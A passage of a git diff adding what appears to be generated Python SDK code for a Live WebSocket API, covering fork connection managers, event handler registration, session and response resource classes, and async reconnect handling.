+ def off(self, event_type: str, handler: Callable[..., Any]) -> ForksConnection:
+ """Remove a previously registered event handler."""
+ self._event_handler_registry.remove(event_type, handler)
+ return self
+
+ def once(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[ForksConnection, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register a one-time event handler.
+
+ Automatically removed after first invocation.
+ """
+ if handler is not None:
+ self._event_handler_registry.add(event_type, handler, once=True)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self._event_handler_registry.add(event_type, fn, once=True)
+ return fn
+
+ return decorator
+
+ def dispatch_events(self) -> None:
+ """Run the event loop, dispatching received events to registered handlers.
+
+ Blocks the current thread until the connection is closed. This is the push-based
+ alternative to iterating with ``for event in connection``.
+
+ If an ``"error"`` event arrives and no handler is registered for
+ ``"error"`` or ``"event"``, an ``OpenAIError`` is raised.
+ """
+ for event in self:
+ event_type = event.type
+ specific = self._event_handler_registry.get_handlers(event_type)
+ generic = self._event_handler_registry.get_handlers("event")
+
+ if event_type == "error" and not specific and not generic:
+ if isinstance(event, ErrorEvent):
+ raise OpenAIError(f"WebSocket error: {event}")
+
+ for handler in specific:
+ handler(event)
+
+ for handler in generic:
+ handler(event)
+
+
+class ForksConnectionManager:
+ """
+ Context manager over a `ForksConnection` that is returned by `live.forks.connect()`
+
+ This context manager ensures that the connection will be closed when it exits.
+
+ ---
+
+ Note that if your application doesn't work well with the context manager approach then you
+ can call the `.enter()` method directly to initiate a connection.
+
+ **Warning**: You must remember to close the connection with `.close()`.
+
+ ```py
+ connection = client.live.forks.connect(...).enter()
+ # ...
+ connection.close()
+ ```
+ """
+
+ def __init__(
+ self,
+ *,
+ client: OpenAI,
+ session_id: str,
+ extra_query: Query,
+ extra_headers: Headers,
+ websocket_connection_options: WebSocketConnectionOptions,
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ max_queue_size: int = 1_048_576,
+ ) -> None:
+ self.__client = client
+ self.__session_id = session_id
+ self.__connection: ForksConnection | None = None
+ self.__extra_query = extra_query
+ self.__extra_headers = extra_headers
+ self.__websocket_connection_options = websocket_connection_options
+ self.__on_reconnecting = on_reconnecting
+ self.__max_retries = max_retries
+ self.__initial_delay = initial_delay
+ self.__max_delay = max_delay
+ self.__send_queue = SendQueue(max_bytes=max_queue_size)
+ self.__event_handler_registry = EventHandlerRegistry(use_lock=True)
+
+ def send(self, event: ForkClientEvent | ForkClientEventParam) -> None:
+ """Queue a message to be sent when the connection is established.
+
+ This can be called before entering the context manager. Queued messages
+ are automatically sent once the WebSocket connection opens.
+ """
+ data = (
+ event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
+ if isinstance(event, BaseModel)
+ else json.dumps(event)
+ )
+ self.__send_queue.enqueue(data)
+
+ def on(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[ForksConnectionManager, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register an event handler before the connection is established.
+
+ Handlers are transferred to the connection on enter. Supports the
+ same method and decorator forms as ``ForksConnection.on``.
+ """
+ if handler is not None:
+ self.__event_handler_registry.add(event_type, handler)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self.__event_handler_registry.add(event_type, fn)
+ return fn
+
+ return decorator
+
+ def off(self, event_type: str, handler: Callable[..., Any]) -> ForksConnectionManager:
+ """Remove a previously registered event handler."""
+ self.__event_handler_registry.remove(event_type, handler)
+ return self
+
+ def once(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[ForksConnectionManager, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register a one-time event handler before the connection is established."""
+ if handler is not None:
+ self.__event_handler_registry.add(event_type, handler, once=True)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self.__event_handler_registry.add(event_type, fn, once=True)
+ return fn
+
+ return decorator
+
+ def __enter__(self) -> ForksConnection:
+ """
+ If your application doesn't work well with the context manager approach then you
+ can call this method directly to initiate a connection.
+
+ **Warning**: You must remember to close the connection with `.close()`.
+
+ ```py
+ connection = client.live.forks.connect(...).enter()
+ # ...
+ connection.close()
+ ```
+ """
+ ws = self._connect_ws(self.__extra_query, self.__extra_headers)
+
+ self.__connection = ForksConnection(
+ ws,
+ make_ws=self._connect_ws if self.__on_reconnecting is not None else None,
+ on_reconnecting=self.__on_reconnecting,
+ max_retries=self.__max_retries,
+ initial_delay=self.__initial_delay,
+ max_delay=self.__max_delay,
+ extra_query=self.__extra_query,
+ extra_headers=self.__extra_headers,
+ send_queue=self.__send_queue,
+ )
+
+ self.__event_handler_registry.merge_into(self.__connection._event_handler_registry)
+ self.__connection._flush_send_queue()
+
+ return self.__connection
+
+ enter = __enter__
+
+ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketConnection:
+ try:
+ from websockets.sync.client import connect
+ except ImportError as exc:
+ raise OpenAIError("You need to install `openai[realtime]` to use this method") from exc
+
+ url = self._prepare_url().copy_with(
+ params={
+ **self.__client.base_url.params,
+ **extra_query,
+ },
+ )
+ log.debug("Connecting to %s", url)
+ if self.__websocket_connection_options:
+ log.debug("Connection options: %s", self.__websocket_connection_options)
+
+ return connect(
+ str(url),
+ user_agent_header=self.__client.user_agent,
+ additional_headers=_merge_mappings(
+ {
+ **self.__client.auth_headers,
+ },
+ extra_headers,
+ ),
+ **self.__websocket_connection_options,
+ )
+
+ def _prepare_url(self) -> httpx2.URL:
+ if self.__client.websocket_base_url is not None:
+ base_url = httpx2.URL(self.__client.websocket_base_url)
+ else:
+ scheme = self.__client._base_url.scheme
+ ws_scheme = "ws" if scheme == "http" else "wss"
+ base_url = self.__client._base_url.copy_with(scheme=ws_scheme)
+
+ merge_raw_path = base_url.raw_path.rstrip(b"/") + path_template(
+ "/live/sessions/{session_id}/fork", session_id=self.__session_id
+ ).encode("utf-8")
+ return base_url.copy_with(raw_path=merge_raw_path)
+
+ def __exit__(
+ self, exc_type: type[BaseException] | None, exc: BaseException | None, exc_tb: TracebackType | None
+ ) -> None:
+ if self.__connection is not None:
+ self.__connection.close()
+
+
+class BaseForksConnectionResource:
+ def __init__(self, connection: ForksConnection) -> None:
+ self._connection = connection
+
+
+class ForksSessionResource(BaseForksConnectionResource):
+ @cached_property
+ def commentary(self) -> ForksSessionCommentaryResource:
+ return ForksSessionCommentaryResource(self._connection)
+
+ @cached_property
+ def input_audio(self) -> ForksSessionInputAudioResource:
+ return ForksSessionInputAudioResource(self._connection)
+
+ @cached_property
+ def instructions(self) -> ForksSessionInstructionsResource:
+ return ForksSessionInstructionsResource(self._connection)
+
+ @cached_property
+ def thinking(self) -> ForksSessionThinkingResource:
+ return ForksSessionThinkingResource(self._connection)
+
+ def start(self, *, session: ForkSessionConfigParam, event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Start a Live session after connecting to a stored session’s fork WebSocket.
+
+ Send an empty `session` object to use the stored configuration.
+ """
+ self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given({"type": "session.start", "session": session, "event_id": event_id}),
+ )
+ )
+
+ def close(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Request that the Live session close.
+
+ The terminal `session.closed` event contains the close reason and final usage.
+ """
+ self._connection.send(
+ cast(ForkClientEventParam, strip_not_given({"type": "session.close", "event_id": event_id}))
+ )
+
+ def update(self, *, session: SessionUpdateConfigParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Update the delegation settings of an active Live session.
+
+ The server acknowledges accepted changes with `session.updated`.
+ """
+ self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given({"type": "session.update", "session": session, "event_id": event_id}),
+ )
+ )
+
+
+class ForksSessionCommentaryResource(BaseForksConnectionResource):
+ def append(self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Provide context the Live model can communicate to the user, optionally for an existing client delegation.
+ """
+ self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.commentary.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class ForksSessionInputAudioResource(BaseForksConnectionResource):
+ def append(self, *, audio: str, event_id: Optional[str] | Omit = omit) -> None:
+ """Send audio to a Live session over its primary WebSocket.
+
+ WebRTC and SIP sessions send audio over their media transport.
+ """
+ self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given({"type": "session.input_audio.append", "audio": audio, "event_id": event_id}),
+ )
+ )
+
+ def mute(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Mute audio input to the Live model without closing the session.
+
+ The server acknowledges with `session.input_audio.muted`.
+ """
+ self._connection.send(
+ cast(ForkClientEventParam, strip_not_given({"type": "session.input_audio.mute", "event_id": event_id}))
+ )
+
+ def unmute(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Resume audio input to a Live model after muting it.
+
+ The server acknowledges with `session.input_audio.unmuted`.
+ """
+ self._connection.send(
+ cast(ForkClientEventParam, strip_not_given({"type": "session.input_audio.unmute", "event_id": event_id}))
+ )
+
+
+class ForksSessionInstructionsResource(BaseForksConnectionResource):
+ def append(self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Append instructions to the Live conversation while it is running, optionally associating them with an existing client delegation.
+ """
+ self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.instructions.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class ForksSessionThinkingResource(BaseForksConnectionResource):
+ def append(self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Provide silent reasoning or progress context to the Live model, optionally for an existing client delegation.
+ """
+ self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.thinking.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class ForksResponseResource(BaseForksConnectionResource):
+ @cached_property
+ def item(self) -> ForksResponseItemResource:
+ return ForksResponseItemResource(self._connection)
+
+ def create(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Request a response from the Live session’s Responses backend, or continue a
+ delegated response waiting for tool results.
+
+ Requires Responses delegation.
+ """
+ self._connection.send(
+ cast(ForkClientEventParam, strip_not_given({"type": "response.create", "event_id": event_id}))
+ )
+
+
+class ForksResponseItemResource(BaseForksConnectionResource):
+ def create(self, *, item: ResponseInputItemParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Add an input item to the Live session’s Responses backend.
+
+ Requires Responses delegation; use `response.create` to request a response.
+ """
+ self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given({"type": "response.item.create", "item": item, "event_id": event_id}),
+ )
+ )
+
+
+class BaseAsyncForksConnectionResource:
+ def __init__(self, connection: AsyncForksConnection) -> None:
+ self._connection = connection
+
+
+class AsyncForksSessionResource(BaseAsyncForksConnectionResource):
+ @cached_property
+ def commentary(self) -> AsyncForksSessionCommentaryResource:
+ return AsyncForksSessionCommentaryResource(self._connection)
+
+ @cached_property
+ def input_audio(self) -> AsyncForksSessionInputAudioResource:
+ return AsyncForksSessionInputAudioResource(self._connection)
+
+ @cached_property
+ def instructions(self) -> AsyncForksSessionInstructionsResource:
+ return AsyncForksSessionInstructionsResource(self._connection)
+
+ @cached_property
+ def thinking(self) -> AsyncForksSessionThinkingResource:
+ return AsyncForksSessionThinkingResource(self._connection)
+
+ async def start(self, *, session: ForkSessionConfigParam, event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Start a Live session after connecting to a stored session’s fork WebSocket.
+
+ Send an empty `session` object to use the stored configuration.
+ """
+ await self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given({"type": "session.start", "session": session, "event_id": event_id}),
+ )
+ )
+
+ async def close(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Request that the Live session close.
+
+ The terminal `session.closed` event contains the close reason and final usage.
+ """
+ await self._connection.send(
+ cast(ForkClientEventParam, strip_not_given({"type": "session.close", "event_id": event_id}))
+ )
+
+ async def update(self, *, session: SessionUpdateConfigParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Update the delegation settings of an active Live session.
+
+ The server acknowledges accepted changes with `session.updated`.
+ """
+ await self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given({"type": "session.update", "session": session, "event_id": event_id}),
+ )
+ )
+
+
+class AsyncForksSessionCommentaryResource(BaseAsyncForksConnectionResource):
+ async def append(
+ self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit
+ ) -> None:
+ """
+ Provide context the Live model can communicate to the user, optionally for an existing client delegation.
+ """
+ await self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.commentary.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class AsyncForksSessionInputAudioResource(BaseAsyncForksConnectionResource):
+ async def append(self, *, audio: str, event_id: Optional[str] | Omit = omit) -> None:
+ """Send audio to a Live session over its primary WebSocket.
+
+ WebRTC and SIP sessions send audio over their media transport.
+ """
+ await self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given({"type": "session.input_audio.append", "audio": audio, "event_id": event_id}),
+ )
+ )
+
+ async def mute(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Mute audio input to the Live model without closing the session.
+
+ The server acknowledges with `session.input_audio.muted`.
+ """
+ await self._connection.send(
+ cast(ForkClientEventParam, strip_not_given({"type": "session.input_audio.mute", "event_id": event_id}))
+ )
+
+ async def unmute(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Resume audio input to a Live model after muting it.
+
+ The server acknowledges with `session.input_audio.unmuted`.
+ """
+ await self._connection.send(
+ cast(ForkClientEventParam, strip_not_given({"type": "session.input_audio.unmute", "event_id": event_id}))
+ )
+
+
+class AsyncForksSessionInstructionsResource(BaseAsyncForksConnectionResource):
+ async def append(
+ self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit
+ ) -> None:
+ """
+ Append instructions to the Live conversation while it is running, optionally associating them with an existing client delegation.
+ """
+ await self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.instructions.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class AsyncForksSessionThinkingResource(BaseAsyncForksConnectionResource):
+ async def append(
+ self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit
+ ) -> None:
+ """
+ Provide silent reasoning or progress context to the Live model, optionally for an existing client delegation.
+ """
+ await self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.thinking.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class AsyncForksResponseResource(BaseAsyncForksConnectionResource):
+ @cached_property
+ def item(self) -> AsyncForksResponseItemResource:
+ return AsyncForksResponseItemResource(self._connection)
+
+ async def create(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Request a response from the Live session’s Responses backend, or continue a
+ delegated response waiting for tool results.
+
+ Requires Responses delegation.
+ """
+ await self._connection.send(
+ cast(ForkClientEventParam, strip_not_given({"type": "response.create", "event_id": event_id}))
+ )
+
+
+class AsyncForksResponseItemResource(BaseAsyncForksConnectionResource):
+ async def create(self, *, item: ResponseInputItemParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Add an input item to the Live session’s Responses backend.
+
+ Requires Responses delegation; use `response.create` to request a response.
+ """
+ await self._connection.send(
+ cast(
+ ForkClientEventParam,
+ strip_not_given({"type": "response.item.create", "item": item, "event_id": event_id}),
+ )
+ )
diff --git a/src/openai/resources/live/live.py b/src/openai/resources/live/live.py
new file mode 100644
index 0000000000..35618a0072
--- /dev/null
+++ b/src/openai/resources/live/live.py
@@ -0,0 +1,1621 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import json
+import time
+import random
+import logging
+from types import TracebackType
+from typing import TYPE_CHECKING, Any, Union, Callable, Iterator, Optional, Awaitable, cast
+from typing_extensions import AsyncIterator
+
+import httpx2
+from pydantic import BaseModel
+
+from ... import _legacy_response
+from .forks import Forks, AsyncForks
+from ..._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
+from ..._utils import maybe_transform, strip_not_given, async_maybe_transform
+from .sessions import (
+ Sessions,
+ AsyncSessions,
+ SessionsWithRawResponse,
+ AsyncSessionsWithRawResponse,
+ SessionsWithStreamingResponse,
+ AsyncSessionsWithStreamingResponse,
+)
+from .sideband import Sideband, AsyncSideband
+from ..._compat import cached_property
+from ..._models import construct_type_unchecked
+from ..._resource import SyncAPIResource, AsyncAPIResource
+from ..._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from ...types.live import live_create_params
+from ..._exceptions import OpenAIError, WebSocketConnectionClosedError
+from ..._send_queue import SendQueue
+from ..._base_client import _merge_mappings, make_request_options
+from ..._event_handler import EventHandlerRegistry
+from ...types.live.error_event import ErrorEvent
+from ...types.live.client_event import ClientEvent
+from ...types.live.server_event import ServerEvent
+from ...types.websocket_reconnection import ReconnectingEvent, ReconnectingOverrides, is_recoverable_close
+from ...types.live.client_event_param import ClientEventParam
+from ...types.live.live_create_response import LiveCreateResponse
+from ...types.live.session_config_param import SessionConfigParam
+from ...types.websocket_connection_options import WebSocketConnectionOptions
+from ...types.live.media_session_config_param import MediaSessionConfigParam
+from ...types.live.session_update_config_param import SessionUpdateConfigParam
+from ...types.responses.response_input_item_param import ResponseInputItemParam
+
+if TYPE_CHECKING:
+ from websockets.sync.client import ClientConnection as WebSocketConnection
+ from websockets.asyncio.client import ClientConnection as AsyncWebSocketConnection
+
+ from ..._client import OpenAI, AsyncOpenAI
+
+__all__ = ["Live", "AsyncLive"]
+
+log: logging.Logger = logging.getLogger(__name__)
+
+
+class Live(SyncAPIResource):
+ @cached_property
+ def sideband(self) -> Sideband:
+ return Sideband(self._client)
+
+ @cached_property
+ def forks(self) -> Forks:
+ return Forks(self._client)
+
+ @cached_property
+ def sessions(self) -> Sessions:
+ return Sessions(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> LiveWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return LiveWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> LiveWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return LiveWithStreamingResponse(self)
+
+ def create(
+ self,
+ *,
+ session: MediaSessionConfigParam,
+ transport: live_create_params.Transport,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> LiveCreateResponse:
+ """Create a Live WebRTC session.
+
+ Start with the
+ [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting).
+
+ Args:
+ session: Startup configuration for the Live session.
+
+ transport: WebRTC transport with the browser's SDP offer.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ return self._post(
+ "/live/sessions",
+ body=maybe_transform(
+ {
+ "session": session,
+ "transport": transport,
+ },
+ live_create_params.LiveCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=LiveCreateResponse,
+ )
+
+ def connect(
+ self,
+ extra_query: Query = {},
+ extra_headers: Headers = {},
+ websocket_connection_options: WebSocketConnectionOptions = {},
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ max_queue_size: int = 1_048_576,
+ ) -> LiveConnectionManager:
+ """Connect to Live without query parameters.
+
+ Send session.start with model and session configuration, then wait for session.started. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) before writing instructions.
+ """
+ return LiveConnectionManager(
+ client=self._client,
+ extra_query=extra_query,
+ extra_headers=extra_headers,
+ websocket_connection_options=websocket_connection_options,
+ on_reconnecting=on_reconnecting,
+ max_retries=max_retries,
+ initial_delay=initial_delay,
+ max_delay=max_delay,
+ max_queue_size=max_queue_size,
+ )
+
+
+class AsyncLive(AsyncAPIResource):
+ @cached_property
+ def sideband(self) -> AsyncSideband:
+ return AsyncSideband(self._client)
+
+ @cached_property
+ def forks(self) -> AsyncForks:
+ return AsyncForks(self._client)
+
+ @cached_property
+ def sessions(self) -> AsyncSessions:
+ return AsyncSessions(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> AsyncLiveWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncLiveWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncLiveWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncLiveWithStreamingResponse(self)
+
+ async def create(
+ self,
+ *,
+ session: MediaSessionConfigParam,
+ transport: live_create_params.Transport,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> LiveCreateResponse:
+ """Create a Live WebRTC session.
+
+ Start with the
+ [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting).
+
+ Args:
+ session: Startup configuration for the Live session.
+
+ transport: WebRTC transport with the browser's SDP offer.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ return await self._post(
+ "/live/sessions",
+ body=await async_maybe_transform(
+ {
+ "session": session,
+ "transport": transport,
+ },
+ live_create_params.LiveCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=LiveCreateResponse,
+ )
+
+ def connect(
+ self,
+ extra_query: Query = {},
+ extra_headers: Headers = {},
+ websocket_connection_options: WebSocketConnectionOptions = {},
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ max_queue_size: int = 1_048_576,
+ ) -> AsyncLiveConnectionManager:
+ """Connect to Live without query parameters.
+
+ Send session.start with model and session configuration, then wait for session.started. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) before writing instructions.
+ """
+ return AsyncLiveConnectionManager(
+ client=self._client,
+ extra_query=extra_query,
+ extra_headers=extra_headers,
+ websocket_connection_options=websocket_connection_options,
+ on_reconnecting=on_reconnecting,
+ max_retries=max_retries,
+ initial_delay=initial_delay,
+ max_delay=max_delay,
+ max_queue_size=max_queue_size,
+ )
+
+
+class LiveWithRawResponse:
+ def __init__(self, live: Live) -> None:
+ self._live = live
+
+ self.create = _legacy_response.to_raw_response_wrapper(
+ live.create,
+ )
+
+ @cached_property
+ def sessions(self) -> SessionsWithRawResponse:
+ return SessionsWithRawResponse(self._live.sessions)
+
+
+class AsyncLiveWithRawResponse:
+ def __init__(self, live: AsyncLive) -> None:
+ self._live = live
+
+ self.create = _legacy_response.async_to_raw_response_wrapper(
+ live.create,
+ )
+
+ @cached_property
+ def sessions(self) -> AsyncSessionsWithRawResponse:
+ return AsyncSessionsWithRawResponse(self._live.sessions)
+
+
+class LiveWithStreamingResponse:
+ def __init__(self, live: Live) -> None:
+ self._live = live
+
+ self.create = to_streamed_response_wrapper(
+ live.create,
+ )
+
+ @cached_property
+ def sessions(self) -> SessionsWithStreamingResponse:
+ return SessionsWithStreamingResponse(self._live.sessions)
+
+
+class AsyncLiveWithStreamingResponse:
+ def __init__(self, live: AsyncLive) -> None:
+ self._live = live
+
+ self.create = async_to_streamed_response_wrapper(
+ live.create,
+ )
+
+ @cached_property
+ def sessions(self) -> AsyncSessionsWithStreamingResponse:
+ return AsyncSessionsWithStreamingResponse(self._live.sessions)
+
+
+class AsyncLiveConnection:
+ """Represents a live WebSocket connection to the Live API"""
+
+ session: AsyncLiveSessionResource
+ response: AsyncLiveResponseResource
+
+ _connection: AsyncWebSocketConnection
+
+ def __init__(
+ self,
+ connection: AsyncWebSocketConnection,
+ *,
+ make_ws: Callable[[Query, Headers], Awaitable[AsyncWebSocketConnection]] | None = None,
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ extra_query: Query = {},
+ extra_headers: Headers = {},
+ send_queue: SendQueue | None = None,
+ ) -> None:
+ self._connection = connection
+ self._make_ws = make_ws
+ self._on_reconnecting = on_reconnecting
+ self._max_retries = max_retries
+ self._reconnect_attempt = 0
+ self._initial_delay = initial_delay
+ self._max_delay = max_delay
+ self._extra_query = extra_query
+ self._extra_headers = extra_headers
+ self._intentionally_closed = False
+ self._is_reconnecting = False
+ self._send_queue = send_queue or SendQueue()
+ self._event_handler_registry = EventHandlerRegistry(use_lock=False)
+
+ self.session = AsyncLiveSessionResource(self)
+ self.response = AsyncLiveResponseResource(self)
+
+ async def __aiter__(self) -> AsyncIterator[ServerEvent]:
+ """
+ An infinite-iterator that will continue to yield events until
+ the connection is closed.
+ """
+ from websockets.exceptions import ConnectionClosedOK, ConnectionClosedError
+
+ while True:
+ try:
+ yield await self.recv()
+ except ConnectionClosedOK:
+ return
+ except ConnectionClosedError as exc:
+ if not await self._reconnect(exc):
+ unsent = self._send_queue.drain()
+ if unsent:
+ raise WebSocketConnectionClosedError(
+ "WebSocket connection closed with unsent messages",
+ unsent_messages=unsent,
+ ) from exc
+ raise
+
+ async def recv(self) -> ServerEvent:
+ """
+ Receive the next message from the connection and parses it into a `ServerEvent` object.
+
+ Canceling this method is safe. There's no risk of losing data.
+ """
+ event = self.parse_event(await self.recv_bytes())
+ event_type = (
+ cast("dict[str, object]", event).get("type")
+ if isinstance(cast(object, event), dict)
+ else getattr(event, "type", None)
+ )
+ # A successful upgrade can still be followed by an admission error.
+ # Reset the budget only after receiving a non-error application event.
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return event
+
+ async def recv_bytes(self) -> bytes:
+ """Receive the next message from the connection as raw bytes.
+
+ Canceling this method is safe. There's no risk of losing data.
+
+ If you want to parse the message into a `ServerEvent` object like `.recv()` does,
+ then you can call `.parse_event(data)`.
+ """
+ message = await self._connection.recv(decode=False)
+ log.debug(f"Received WebSocket message: %s", message)
+ if self._reconnect_attempt:
+ # Account for raw application progress without changing frame delivery.
+ try:
+ event_data: object = json.loads(message)
+ except (ValueError, RecursionError):
+ return message
+ event_type = cast("dict[str, object]", event_data).get("type") if isinstance(event_data, dict) else None
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return message
+
+ async def send(self, event: ClientEvent | ClientEventParam) -> None:
+ data = (
+ event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
+ if isinstance(event, BaseModel)
+ else json.dumps(await async_maybe_transform(event, ClientEventParam))
+ )
+ if self._is_reconnecting:
+ self._send_queue.enqueue(data)
+ return
+ try:
+ await self._connection.send(data)
+ except Exception:
+ self._send_queue.enqueue(data)
+ raise
+
+ async def send_raw(self, data: bytes | str) -> None:
+ if self._is_reconnecting:
+ raw = data if isinstance(data, str) else data.decode("utf-8")
+ self._send_queue.enqueue(raw)
+ return
+ await self._connection.send(data)
+
+ async def close(self, *, code: int = 1000, reason: str = "") -> None:
+ self._intentionally_closed = True
+ await self._connection.close(code=code, reason=reason)
+
+ def parse_event(self, data: str | bytes) -> ServerEvent:
+ """
+ Converts a raw `str` or `bytes` message into a `ServerEvent` object.
+
+ This is helpful if you're using `.recv_bytes()`.
+ """
+ return cast(ServerEvent, construct_type_unchecked(value=json.loads(data), type_=cast(Any, ServerEvent)))
+
+ async def _reconnect(self, exc: Exception) -> bool:
+ """Attempt to reconnect after a connection failure.
+
+ Returns ``True`` if a new connection was established, ``False`` if the
+ caller should re-raise the original exception.
+ """
+ import asyncio
+
+ if self._on_reconnecting is None or self._make_ws is None:
+ return False
+
+ from websockets.exceptions import ConnectionClosedError
+
+ close_code = 1006
+ if isinstance(exc, ConnectionClosedError) and exc.rcvd is not None:
+ close_code = exc.rcvd.code
+
+ if not is_recoverable_close(close_code):
+ return False
+
